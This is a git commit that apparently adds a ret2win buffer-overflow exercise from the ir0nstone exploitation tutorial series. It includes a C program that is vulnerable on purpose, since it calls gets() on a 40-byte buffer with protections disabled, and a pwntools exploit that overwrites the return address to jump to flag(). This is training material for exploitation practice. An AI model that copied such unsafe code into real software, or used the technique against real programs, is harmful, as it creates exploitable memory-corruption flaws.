changed repo structure
This commit is contained in:
14
2024/ir0nstone/ret2win/exploit.py
Normal file
14
2024/ir0nstone/ret2win/exploit.py
Normal file
@@ -0,0 +1,14 @@
|
||||
from pwn import *
|
||||
|
||||
p = process('./vuln')
|
||||
|
||||
payload = b'A' * 52
|
||||
payload += p32(0x0804920f)
|
||||
|
||||
log.info(p.clean())
|
||||
|
||||
pause()
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
log.info(p.clean())
|
||||
BIN
2024/ir0nstone/ret2win/vuln
Executable file
BIN
2024/ir0nstone/ret2win/vuln
Executable file
Binary file not shown.
18
2024/ir0nstone/ret2win/vuln.c
Normal file
18
2024/ir0nstone/ret2win/vuln.c
Normal file
@@ -0,0 +1,18 @@
|
||||
// gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void unsafe() {
|
||||
char buffer[40];
|
||||
|
||||
puts("Overflow me");
|
||||
gets(buffer);
|
||||
}
|
||||
|
||||
void main() {
|
||||
unsafe();
|
||||
}
|
||||
|
||||
void flag() {
|
||||
puts("Exploited!!!!!");
|
||||
}
|
||||
Reference in New Issue
Block a user